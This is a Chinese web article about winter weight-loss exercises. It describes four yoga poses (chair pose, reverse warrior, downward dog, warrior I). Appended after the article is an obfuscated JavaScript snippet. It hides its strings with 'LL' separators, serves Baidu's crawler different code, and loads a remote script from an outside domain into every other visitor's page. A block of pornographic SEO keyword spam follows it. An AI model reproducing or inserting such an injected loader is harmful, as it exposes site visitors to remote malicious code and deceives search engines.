當(dāng)前位置:首頁 > 減肥 > 運(yùn)動(dòng)減肥 > 正文

適合冬季的減肥運(yùn)動(dòng)

2017-03-09 08:30:58  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:冬季天氣寒冷,對于想要的減肥的人而言,能通過什么樣的運(yùn)動(dòng)來減肥呢?幾天推薦幾種冬季減肥運(yùn)動(dòng)。

運(yùn)動(dòng)是減肥最好的一種方法。那么在冬季的時(shí)候有什么比較好的減肥運(yùn)動(dòng)呢?下面給大家介紹冬季塑身減肥運(yùn)動(dòng)推薦,供大家參考。

半蹲坐椅式減掉臀腿贅肉

身體挺直站立于地面上,雙腳并攏,雙手貼于耳側(cè)高舉過頭,雙掌相對,手臂伸直。呼氣,身體慢慢向下做下蹲動(dòng)作,臀部向下約45度,感覺好像坐在椅子上。上身不要彎曲,身體與手臂在同一直線上,頭部自然抬起看向前方。均勻呼吸,保持動(dòng)作8-10秒。重復(fù)動(dòng)作5-8次。這個(gè)瑜伽動(dòng)作可以很好地伸展到全身,減掉手臂、臀部、大腿上的多余贅肉。

反轉(zhuǎn)戰(zhàn)士式平坦緊致腹部

在戰(zhàn)士二式的基礎(chǔ)上,將左手放在左腳膝蓋處,兩腳保持戰(zhàn)士二式動(dòng)作不變。將右手向上高舉,指尖向上,掌心向后,身體向后仰,眼睛看向斜上方45度。保持動(dòng)作5秒后換側(cè)進(jìn)行,重復(fù)10次。這個(gè)動(dòng)作可以充分收緊腰側(cè)肌肉,減掉腹部多余脂肪,讓小腹平坦緊致。

下犬式打造完美背部線條

在站立前屈式的基礎(chǔ)上,雙手向前伸直,將手掌放在地上支撐身體,雙腳向后退,使身體呈一個(gè)倒V型。此時(shí)雙腳要分開,腳尖朝前,低頭臉向內(nèi),上身形成一條直線。保持動(dòng)作一分鐘,此過程中要均勻呼吸,不要閉氣。然后回到前屈式,再次繼續(xù),重復(fù)5次。這個(gè)動(dòng)作可以幫助收緊背部、手臂肌肉,打造完美背部線條,甩掉手臂拜拜肉。

戰(zhàn)士一式減掉大腿內(nèi)側(cè)贅肉

右腳向前彎曲約90度,腳尖朝向前,左腳向后伸展,左腳掌向外旋轉(zhuǎn)90度使腳尖朝向左側(cè),身體做弓步狀,上身直立朝向前方。雙手分開與肩同寬,手臂伸直向上高舉,五指大打開,保持動(dòng)作5秒,然后回到起始動(dòng)作,換左腳進(jìn)行。重復(fù)動(dòng)作10次。這個(gè)動(dòng)作可以迅速減掉大腿內(nèi)側(cè)贅肉,塑造緊致細(xì)腿,同時(shí)也有瘦手的功效。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久99亚洲综合精品首页| 国产乱码精品一区三上| 99久久精品全部| 伊人精品久久久大香线蕉99| 国产精品一卡二卡三卡| 中文字幕精品无码一区二区| 一本色道久久88综合日韩精品 | 在线观看精品一区| 99爱在线精品免费观看| 亚洲国产综合第一精品小说| 99久久亚洲综合精品成人网| 久久这里只有精品66re99| 国产精品青青青高清在线观看| 亚洲欧美日韩国产精品一区| 中文字幕精品三区无码亚洲| 2021国内精品久久久久久影院| 亚洲精品免费在线视频| 久久精品国产亚洲av麻豆图片| 久久精品国产清高在天天线| 精品少妇无码AV无码专区| 精品人妻中文字幕有码在线| 91在线老王精品免费播放| 2022国产精品视频| 精品无人区一区二区三区在线| 亚洲国产成人精品无码区在线秒播| 2021国内精品久久久久精免费| 91精品国产91久久| AV无码精品一区二区三区| 92国产精品午夜福利| 亚洲最大天堂无码精品区| 另类国产精品一区二区| 国产精品极品美女免费观看| 国产精品亚洲色婷婷99久久精品 | 久久精品这里热有精品| 国产l精品国产亚洲区在线观看 | 国产精品女在线观看| 午夜国产精品久久久久| 国产精品美女免费视频观看| 久久久99精品成人片| 成人精品视频一区二区三区尤物 | 久久se精品动漫一区二区三区|